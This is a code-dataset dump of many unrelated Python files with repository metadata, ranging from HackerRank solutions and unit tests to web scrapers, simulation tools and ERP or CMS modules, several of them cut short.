Python
sketches/Evolution_Ecosystem/dna.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/Evolution_Ecosystem/dna.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/Evolution_Ecosystem/dna.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
class DNA(object): def __init__(self): self.genes = [] self.genes.append(random(0, 1)) def copy(self, dna): self.genes[:] = dna
18.444444
39
0.524096
d20a52068f57b4091f7e1553f4151ed801bde89b
1,251
py
Python
Interview Preparation Kits/Interview Preparation Kit/Graphs/Roads and Libraries/roads_libraries.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
1
2021-02-22T17:37:45.000Z
2021-02-22T17:37:45.000Z
Interview Preparation Kits/Interview Preparation Kit/Graphs/Roads and Libraries/roads_libraries.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
Interview Preparation Kits/Interview Preparation Kit/Graphs/Roads and Libraries/roads_libraries.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
#!/bin/python3 import math import os import random import re import sys from collections import defaultdict # Complete the roadsAndLibraries function below. def dfs(graph, visited, i): visited.add(i) ans = 1 if i in graph: for j in graph[i]: if j not in visited: ans += ...
20.85
104
0.576339
d275de31a156aa0aad1b3e465f1314611047d391
792
py
Python
test/test_board_recognition.py
vidagy/setsolver
1d69dc33768ddb5b2110b6321106947de87cb7ac
[ "Apache-2.0" ]
null
null
null
test/test_board_recognition.py
vidagy/setsolver
1d69dc33768ddb5b2110b6321106947de87cb7ac
[ "Apache-2.0" ]
null
null
null
test/test_board_recognition.py
vidagy/setsolver
1d69dc33768ddb5b2110b6321106947de87cb7ac
[ "Apache-2.0" ]
null
null
null
import os import pickle from unittest import TestCase from setsolver.image_detection.board_recognition import BoardRecognition path = os.path.join( os.path.dirname(os.path.abspath(__file__)), "..", "setsolver", "image_detection", "board_input", ) board_cards = {0: 12, 1: 12, 2: 15, 3: 12, 4: 12, 5...
28.285714
72
0.618687
963aaa3ccd5a90cc6efade8638983724674dc82b
1,650
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/net/batch0103to0110.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/net/batch0103to0110.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/net/batch0103to0110.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2009-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.ec...
36.666667
89
0.675758
9658dddd58d2b276505b2e1c6e54d22bd338e98e
215
py
Python
02_Python/lambda.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
02_Python/lambda.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
02_Python/lambda.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
people = [ {"hero":"Batman", "name":"Bruce Wayne"}, {"hero":"Superman", "name":"Clark Kent"}, {"hero":"Catwoman", "name":"Selina Kyle"} ] people.sort(key= lambda person:person["name"]) print(people)
17.916667
46
0.590698
9663185579fc0a2e9a53ec0266dbbbd9f9bcdd3b
738
py
Python
site/public/courses/SPD-2.31/exercises/observer-design-pattern/weather_data_1.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
1
2021-08-24T20:22:19.000Z
2021-08-24T20:22:19.000Z
site/public/courses/SPD-2.31/exercises/observer-design-pattern/weather_data_1.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
site/public/courses/SPD-2.31/exercises/observer-design-pattern/weather_data_1.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
""" Initial implemetation of WeatherData """ class WeatherData: def __init__(self): pass def measurementsChanged(self): """Notifies other part of the program that the measurements has been updated. """ # Grab the most recent measurements by calling the WeatherD...
32.086957
80
0.644986
73b81c8371f73687eb27942a7c7313d9f56fac37
1,812
py
Python
src/bo4e/com/aufabschlagproort.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/com/aufabschlagproort.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/com/aufabschlagproort.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
""" Contains AufAbschlagProOrt class and corresponding marshmallow schema for de-/serialization """ from typing import List import attr from marshmallow import fields from bo4e.com.aufabschlagstaffelproort import AufAbschlagstaffelProOrt, AufAbschlagstaffelProOrtSchema from bo4e.com.com import COM, COMSchema from bo...
34.846154
189
0.758278
fb7ce196a8f9e5589ac31b2ea0b9b54784b78d31
1,069
py
Python
demo.py
iSteveyang/bugWeb
172dc202eaf4928c4b73ffe372e7e28b53e42e4f
[ "MIT" ]
null
null
null
demo.py
iSteveyang/bugWeb
172dc202eaf4928c4b73ffe372e7e28b53e42e4f
[ "MIT" ]
null
null
null
demo.py
iSteveyang/bugWeb
172dc202eaf4928c4b73ffe372e7e28b53e42e4f
[ "MIT" ]
null
null
null
#coding=utf-8 import urllib2 import urllib import re import time from random import choice #代理ip地址list iplist=['1.9.189.65:3128','27.24.158.130.80','27.24.158.154:80'] #要抓取的搜索关键字list keywords=["NBA","CBA"] for item in keywords: #随机选择代理ip地址 ip=choice(iplist) word=urllib.quote(item) url="https://sug.so.360.cn/suggest...
28.131579
129
0.709074
83b75a588cd0b4866ee58073e61576b8d5910b0a
5,167
py
Python
research/gnn/sgcn/src/ms_utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
1
2021-11-18T08:17:44.000Z
2021-11-18T08:17:44.000Z
research/gnn/sgcn/src/ms_utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
null
null
null
research/gnn/sgcn/src/ms_utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
2
2019-09-01T06:17:04.000Z
2019-10-04T08:39:45.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
31.699387
91
0.635959
e3bf8b8b35a010d32a4ee12ad09696c16c9565d4
397
py
Python
tools/pythonpkg/tests/fast/types/test_null.py
AldoMyrtaj/duckdb
3aa4978a2ceab8df25e4b20c388bcd7629de73ed
[ "MIT" ]
2,816
2018-06-26T18:52:52.000Z
2021-04-06T10:39:15.000Z
tools/pythonpkg/tests/fast/types/test_null.py
AldoMyrtaj/duckdb
3aa4978a2ceab8df25e4b20c388bcd7629de73ed
[ "MIT" ]
1,310
2021-04-06T16:04:52.000Z
2022-03-31T13:52:53.000Z
tools/pythonpkg/tests/fast/types/test_null.py
AldoMyrtaj/duckdb
3aa4978a2ceab8df25e4b20c388bcd7629de73ed
[ "MIT" ]
270
2021-04-09T06:18:28.000Z
2022-03-31T11:55:37.000Z
import traceback class TestNull(object): def test_fetchone_null(self, duckdb_cursor): duckdb_cursor.execute("CREATE TABLE atable (Value int)") duckdb_cursor.execute("INSERT INTO atable VALUES (1)") duckdb_cursor.execute("SELECT * FROM atable") assert(duckdb_cursor.fetchone()[0] == ...
30.538462
64
0.649874
580e031572eb8a1571f7e874d3d952dbb1a7ae59
6,622
py
Python
time_travel/partial.py
ginfung/Advanced_DS
d2f983584ecd4f09552adccb3a91a713783c9ca7
[ "MIT" ]
2
2019-06-07T16:22:47.000Z
2020-06-27T05:05:07.000Z
time_travel/partial.py
ginfung/Advanced_DS
d2f983584ecd4f09552adccb3a91a713783c9ca7
[ "MIT" ]
null
null
null
time_travel/partial.py
ginfung/Advanced_DS
d2f983584ecd4f09552adccb3a91a713783c9ca7
[ "MIT" ]
null
null
null
# Copyright (c) 2019 jianfeng # # This software is released under the MIT License. # https://opensource.org/licenses/MIT from copy import deepcopy import pdb # Partial Persistence [Driscoll, Saransk, Sleator, Tarjan - JCSS1989]. # What is partial persistence? # Only the latest version can be updated # Versio...
32.145631
82
0.578677
585d31bcdec7701bff31309437fbe427d55af1fb
775
py
Python
books/PythonCleanCode/ch2_pythonic_code/container.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch2_pythonic_code/container.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch2_pythonic_code/container.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""Chapter 2 - Containers""" def mark_coordinate(grid, coord): if 0 <= coord.x < grid.width and 0 <= coord.y < grid.height: grid[coord] = 1 if coord in grid: grid[coord] = 1 class Boundaries: def __init__(self, width, height): self.width = width self.height = height ...
20.945946
64
0.60129
5441556cafe982fceea03a9b050dd42b1da2c542
2,739
py
Python
nz_crawl_demo/day4/bsbdj.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
nz_crawl_demo/day4/bsbdj.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
nz_crawl_demo/day4/bsbdj.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
import os import requests #请求库 from urllib import request # 下载图片用 from lxml import etree #网络解析库 from queue import Queue #队列 import threading import re import csv #生产者 页面队列取出 然后下载页面中的 图片url 放入图片队列 class Producer(threading.Thread): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...
30.775281
145
0.581964
54a680d1d432c8f2946e36133ae5ac63484d1e6e
453
py
Python
fuzzsvc/model/_not_used_CrashBucketFile.py
ifoundthetao/FuzzFlow
86559ac7f85fc89510c0d9647e02880edb95aa2a
[ "MIT" ]
53
2016-08-26T02:51:45.000Z
2021-05-24T21:05:44.000Z
model/_not_used_CrashBucketFile.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
null
null
null
model/_not_used_CrashBucketFile.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
31
2016-08-26T04:08:31.000Z
2021-05-24T21:05:54.000Z
from app import app db = app.config['db'] class CrashBucketFile(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(256), unique=True, nullable=False) path = db.Column(db.String(512), unique=True, nullable=False) def __init__(self, name, path): self.name = name...
28.3125
83
0.660044
49adcf6233ec48024039d86a7d474bcd636e56d7
3,647
py
Python
python/sbtab.py
derHahn/SBtab
da998eacc49f7f29d8168be366eb0c211c3adb5f
[ "MIT" ]
4
2015-02-20T09:20:10.000Z
2018-02-05T10:54:10.000Z
python/sbtab.py
tlubitz/SBtab
da998eacc49f7f29d8168be366eb0c211c3adb5f
[ "MIT" ]
80
2018-04-13T13:46:24.000Z
2022-02-16T16:01:46.000Z
python/sbtab.py
tlubitz/SBtab
da998eacc49f7f29d8168be366eb0c211c3adb5f
[ "MIT" ]
6
2018-06-06T19:55:32.000Z
2021-09-30T15:16:40.000Z
#!/usr/bin/env python """ SBtab commandline wrapper ========================= The commandline tool "sbtab [COMMAND]" provides a wrapper around the following SBtab tools: sbtab.py sbml2sbtab = sbtab_sbml2sbtab.py sbtab.py sbtab2sbml = sbtab_sbtab2sbml.py sbtab.py sbtab2objtables = sbtab_sbtab2objtabl...
37.989583
150
0.698931
b70fccf56ae243302a4c84881bd5254d73990811
45
py
Python
pkg/build/builder/ansible/crypt.py
kayanme/werf
655dbdc5f5ddba6e604274d29ee3d885ed79559e
[ "Apache-2.0" ]
1,426
2020-06-05T13:43:08.000Z
2022-03-31T19:58:57.000Z
pkg/build/builder/ansible/crypt.py
kayanme/werf
655dbdc5f5ddba6e604274d29ee3d885ed79559e
[ "Apache-2.0" ]
1,053
2020-06-17T14:58:08.000Z
2022-03-31T15:44:52.000Z
pkg/build/builder/ansible/crypt.py
kayanme/werf
655dbdc5f5ddba6e604274d29ee3d885ed79559e
[ "Apache-2.0" ]
84
2020-06-05T14:28:46.000Z
2022-03-29T22:42:05.000Z
def crypt(word, salt): return "FAKE_CRYPT"
15
22
0.711111
b73fd44cd5e0dc2a63532eed9227f7b6021dd478
589
py
Python
frappe-bench/apps/erpnext/erpnext/hotels/doctype/hotel_room_pricing/test_hotel_room_pricing.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:55:29.000Z
2021-04-29T14:55:29.000Z
frappe-bench/apps/erpnext/erpnext/hotels/doctype/hotel_room_pricing/test_hotel_room_pricing.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/hotels/doctype/hotel_room_pricing/test_hotel_room_pricing.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:39:01.000Z
2021-04-29T14:39:01.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2017, Frappe Technologies Pvt. Ltd. and Contributors # See license.txt from __future__ import unicode_literals import frappe import unittest test_dependencies = ["Hotel Room Package"] test_records = [ dict(doctype="Hotel Room Pricing", enabled=1, name="Winter 2017", from_da...
26.772727
68
0.719864
3f8eabcb906e717df2f2d10fa09e6ea434cd66d7
2,127
py
Python
doc/precursers/2019_09-Sneakernet/Sneakernet/lib/pcap.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
doc/precursers/2019_09-Sneakernet/Sneakernet/lib/pcap.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
doc/precursers/2019_09-Sneakernet/Sneakernet/lib/pcap.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
#!/usr/bin/env python3 import os class PCAP: def __init__(self): self.f = None self.offset = 0 def _wr_typed_block(self, t, b): m = len(b) % 4 if m: b += b'\x00\x00\x00\x00' self.f.write(t.to_bytes(4,'big')) l = (8 + len(b) + 4).to_bytes(4,'big') ...
27.269231
72
0.434885
b77ef374921513cefc9d01d1ad36c1a105e9d5fe
6,823
py
Python
src/onegov/org/upgrade.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/upgrade.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/upgrade.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
""" Contains upgrade tasks that are executed when the application is being upgraded on the server. See :class:`onegov.core.upgrade.upgrade_task`. """ from onegov.core.orm import Base, find_models from onegov.core.orm.types import JSON from onegov.core.upgrade import upgrade_task from onegov.core.utils import normalize...
36.100529
79
0.696321
b7c228ba9db658efa0f01b083180ec5cbe8475f3
606
py
Python
backend/config.py
Marcuse7/openschufa
6a44ddca9eda0d2fde7103d4ae76d7e1ac3ee40e
[ "MIT" ]
46
2018-05-16T05:52:29.000Z
2021-12-10T14:52:52.000Z
backend/config.py
algorithmwatch/2018-openschufa
6a44ddca9eda0d2fde7103d4ae76d7e1ac3ee40e
[ "MIT" ]
45
2018-05-10T05:56:44.000Z
2020-09-04T18:41:48.000Z
backend/config.py
algorithmwatch/2018-openschufa
6a44ddca9eda0d2fde7103d4ae76d7e1ac3ee40e
[ "MIT" ]
8
2018-05-16T05:38:46.000Z
2020-06-29T09:00:14.000Z
# Please configure a real secret key in instance/config.py import os # Root path APP_ROOT = os.path.dirname(os.path.abspath(__file__)) SECRET_KEY = os.environ.get('SECRET_KEY') TESTING = False # Connection string SQLALCHEMY_DATABASE_URI = os.environ.get('OPENSCHUFA_DATABASE_URL') SQLALCHEMY_TRACK_MODIFICATIONS = Tr...
23.307692
67
0.785479
4206b8a020be0076eb41f267a686f3f801073cdc
3,478
py
Python
scheduleSynchronizer/search.py
497022407/Shifts-manager
beccb63c8622c015a9a453f586d4c3bb5d5066b9
[ "Apache-2.0" ]
null
null
null
scheduleSynchronizer/search.py
497022407/Shifts-manager
beccb63c8622c015a9a453f586d4c3bb5d5066b9
[ "Apache-2.0" ]
null
null
null
scheduleSynchronizer/search.py
497022407/Shifts-manager
beccb63c8622c015a9a453f586d4c3bb5d5066b9
[ "Apache-2.0" ]
null
null
null
# -*- coding:utf-8 -*- import scraper import requests import re import string import datetime import time from bs4 import BeautifulSoup from dateutil.parser import parse class Session: def __init__(self, sdate, edate, days, time, location): self.sdate = sdate self.edate = edate self.days = days self.time = ti...
25.202899
167
0.629672
c41ad3b84b5ccced67140b88f73972b4e513107c
7,968
py
Python
Packs/CloudShark/Integrations/CloudShark/CloudShark.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/CloudShark/Integrations/CloudShark/CloudShark.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/CloudShark/Integrations/CloudShark/CloudShark.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto from CommonServerPython import * import requests import collections # disable insecure warnings requests.packages.urllib3.disable_warnings() BASE_URL = demisto.params().get('url') USE_SSL = not demisto.params().get('insecure', False) PROXY = demisto.params().get('proxy') API_KEY = demist...
30.181818
102
0.647967
c44e41f4aa4b9cbee1c02fb2d117f37997153587
5,065
py
Python
TestDataGenerator.py
HerrMoch/ETL-SCD-prototype
01d983c69cf4e51c7b94514bfe22791edb48566e
[ "MIT" ]
null
null
null
TestDataGenerator.py
HerrMoch/ETL-SCD-prototype
01d983c69cf4e51c7b94514bfe22791edb48566e
[ "MIT" ]
null
null
null
TestDataGenerator.py
HerrMoch/ETL-SCD-prototype
01d983c69cf4e51c7b94514bfe22791edb48566e
[ "MIT" ]
null
null
null
import pandas as pd from datetime import datetime from datetime import timedelta import random class TestDataGenerator: def __init__(self, test_datas: dict, date_start: datetime = datetime(2015, 1, 1, 8)): self.personal_DF = pd.read_csv(test_datas['personal'], header=0, usecols=['personal_code']) ...
46.46789
107
0.632774
67c0eead2d9a06deffaedd5478b552687162b00c
3,775
py
Python
nlpl/train.py
nemanja-m/nlpl
9e34564a5b7e2b5b957cd09f96bcd1292403cd1b
[ "MIT" ]
null
null
null
nlpl/train.py
nemanja-m/nlpl
9e34564a5b7e2b5b957cd09f96bcd1292403cd1b
[ "MIT" ]
4
2021-04-30T21:07:54.000Z
2022-02-10T01:23:11.000Z
nlpl/train.py
nemanja-m/nlpl
9e34564a5b7e2b5b957cd09f96bcd1292403cd1b
[ "MIT" ]
null
null
null
import os from typing import Iterator import click from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint from tensorflow.keras.models import Model from . import generators, models, paths from .loaders import SequenceLoader SENTENCES_PATH: str = os.path.join(paths.DATA_DIR, "processed", "sentences.txt"...
24.673203
90
0.650596
67c71ed98c64d7f7e21d7c31e7bbfac9b809a30e
354
py
Python
tests/unit/ransac/test_samplers_ransac.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
1,142
2016-10-10T08:55:30.000Z
2022-03-30T04:46:16.000Z
tests/unit/ransac/test_samplers_ransac.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
195
2016-10-10T08:30:37.000Z
2022-02-17T12:51:17.000Z
tests/unit/ransac/test_samplers_ransac.py
bernssolg/pyntcloud-master
84cf000b7a7f69a2c1b36f9624f05f65160bf992
[ "MIT" ]
215
2017-02-28T00:50:29.000Z
2022-03-22T17:01:31.000Z
from pyntcloud.ransac.samplers import VoxelgridRansacSampler def test_voxelgrid_sampler_return_points_in_the_same_voxel(pyntcloud_with_rgb_and_normals): points = pyntcloud_with_rgb_and_normals.xyz sampler = VoxelgridRansacSampler(points=points, k=2, size_x=0.5) sample = sampler.get_sample() assert ...
29.5
91
0.788136
db38ab232993cb95878d8c869d5e6cf996616da4
150
py
Python
python/decorator/function.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/decorator/function.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/decorator/function.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
def say_name(): print('jayone') def say_nationality(): print('korea') def say(func): return func say(say_name)() say(say_nationality)()
13.636364
22
0.66
c00caaa3613665fe1019eb9dec7932f910d5b1f0
10,692
py
Python
python_gui_tkinter/KALU/Version 0.1 WIN/MISman.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python_gui_tkinter/KALU/Version 0.1 WIN/MISman.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python_gui_tkinter/KALU/Version 0.1 WIN/MISman.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
''' This module provides the Database Operations for the MIS part 2 @Copyright :: Don't share this software without the permission of the author e-mail : jimutbahanpal@yahoo.com ''' import tkinter as tk from tkinter import * from tkinter import font from tkinter.filedialog import askopenfilename from tkinter im...
28.512
116
0.658156
c0385123476cc5c7c721560b283e241ba0fe00d7
504
py
Python
Curso-Em-Video-Python/2Exercicios/100_funcao_para_sortear_e_somar.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/2Exercicios/100_funcao_para_sortear_e_somar.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/2Exercicios/100_funcao_para_sortear_e_somar.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
from random import randint from time import sleep def sorteia(lista): print('Sorteando os 5 valores da lista: ', end='') for c in range(0, 5): n = randint(1, 10) lista.append(n) print(f'{n} ', end='') sleep(0.5) print('Pronto!') def par(lista): print(f'Somando os valo...
18.666667
57
0.547619
450081ae87d5533362854f189d6519df83a08424
259
py
Python
src/api/__init__.py
th-koeln-intia/ip-sprachassistent-team1
69fbc06a326da91fd3d84f222eba6cd2b1a79975
[ "MIT" ]
1
2021-04-28T09:45:34.000Z
2021-04-28T09:45:34.000Z
src/api/__init__.py
th-koeln-intia/ip-sprachassistent-team1
69fbc06a326da91fd3d84f222eba6cd2b1a79975
[ "MIT" ]
1
2020-09-24T07:20:16.000Z
2020-09-24T07:20:16.000Z
src/api/__init__.py
th-koeln-intia/ip-sprachassistent-team1
69fbc06a326da91fd3d84f222eba6cd2b1a79975
[ "MIT" ]
1
2020-12-04T13:38:33.000Z
2020-12-04T13:38:33.000Z
import paho.mqtt.client as mqtt import os import logging import time MQTT_HOST = os.getenv('MQTT_HOST', 'raspberrypi') MQTT_PORT = os.getenv('MQTT_PORT', 1883) MQTT_USERNAME = os.getenv('MQTT_USERNAME', None) MQTT_PASSWORD = os.getenv('MQTT_PASSWORD', None)
28.777778
49
0.772201
e19edcee0c1b4f998e3f20e55215f4d0e5d9581a
5,781
py
Python
build/lib/AESEncryptor_heureka_code/AESTextEncryptor.py
heureka-code/AESEncryptor-heureka-code
9b11ed77148971672f6e6113a4411fae56e5712c
[ "MIT" ]
null
null
null
build/lib/AESEncryptor_heureka_code/AESTextEncryptor.py
heureka-code/AESEncryptor-heureka-code
9b11ed77148971672f6e6113a4411fae56e5712c
[ "MIT" ]
null
null
null
build/lib/AESEncryptor_heureka_code/AESTextEncryptor.py
heureka-code/AESEncryptor-heureka-code
9b11ed77148971672f6e6113a4411fae56e5712c
[ "MIT" ]
null
null
null
from base64 import b64decode from base64 import b64encode from Crypto import Random from Crypto.Cipher import AES from Crypto.Hash import SHA256 from AESEncryptor_heureka_code.Exceptions import WrongPassword, TextIsNotEncrypted, TextIsEncrypted __author__ = "heureka-code" __date__ = "11.03.2021" __maintainer__ = "he...
33.224138
117
0.632417
8353d192a0889e5c201cd185e4ec82735e37a204
371
py
Python
content/labs/lab10/solutions/sol2.py
tteenathankachan/2021-CS109A
9349749539f439deff280ceb25621fc61a337253
[ "MIT" ]
19
2021-08-29T21:23:48.000Z
2022-03-16T14:38:25.000Z
content/labs/lab10/solutions/sol2.py
SBalas/2021-CS109A
0f57c3d80b7cef99d660f6a77c0166cffc1253e8
[ "MIT" ]
null
null
null
content/labs/lab10/solutions/sol2.py
SBalas/2021-CS109A
0f57c3d80b7cef99d660f6a77c0166cffc1253e8
[ "MIT" ]
22
2021-09-01T13:03:05.000Z
2022-03-31T14:34:36.000Z
tree_depth_range = range(1, 20, 2) rf_val_acc = get_tree_scores(ex1_x_train, ex1_y_train, RandomForestClassifier(), tree_depth_range) #rf_mean_acc = pd.DataFrame(rf_val_acc) rf_mean_acc = rf_val_acc.groupby("depth").mean() rf_mea...
41.222222
55
0.609164
836769ffcb943cb594865f42033187964bd10a94
898
py
Python
conftest.py
AlexStroke/OKB
b4b25c2912a7fd735218323d980aa2b60eaa46e2
[ "Apache-2.0" ]
null
null
null
conftest.py
AlexStroke/OKB
b4b25c2912a7fd735218323d980aa2b60eaa46e2
[ "Apache-2.0" ]
null
null
null
conftest.py
AlexStroke/OKB
b4b25c2912a7fd735218323d980aa2b60eaa46e2
[ "Apache-2.0" ]
null
null
null
import pytest import json from fixture.application import Application from model.profile import Profile fixture = None target = None @pytest.fixture def app(request): global fixture global target if target is None: with open(request.config.getoption("--target")) as config_file: target...
28.967742
103
0.714922
55e64ad6f1730157a9ad4db9b8627bafab6d3428
1,456
py
Python
annb/actfunc.py
ShisatOwO/ANNb
d48b328dcec0a0da7a5b131f722f11cc30195975
[ "MIT" ]
1
2021-05-03T09:31:12.000Z
2021-05-03T09:31:12.000Z
annb/actfunc.py
ShisatOwO/ANNb
d48b328dcec0a0da7a5b131f722f11cc30195975
[ "MIT" ]
null
null
null
annb/actfunc.py
ShisatOwO/ANNb
d48b328dcec0a0da7a5b131f722f11cc30195975
[ "MIT" ]
null
null
null
import numpy as np from annb.templates import * class Linear(Actfunc): @staticmethod def forward(x: np.array, reference: np.array = None, raw_lout: np.array = None) -> np.array: return x @staticmethod def backward(dinp: np.array, reference: np.array = None, raw_lout: np.array = None) -> np.a...
33.860465
100
0.641484
36a4ad64ca371d92ad62b30b5bce149914cd61e1
2,453
py
Python
frappe-bench/apps/erpnext/erpnext/crm/report/prospects_engaged_but_not_converted/prospects_engaged_but_not_converted.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/crm/report/prospects_engaged_but_not_converted/prospects_engaged_but_not_converted.py
Semicheche/foa_frappe_docker
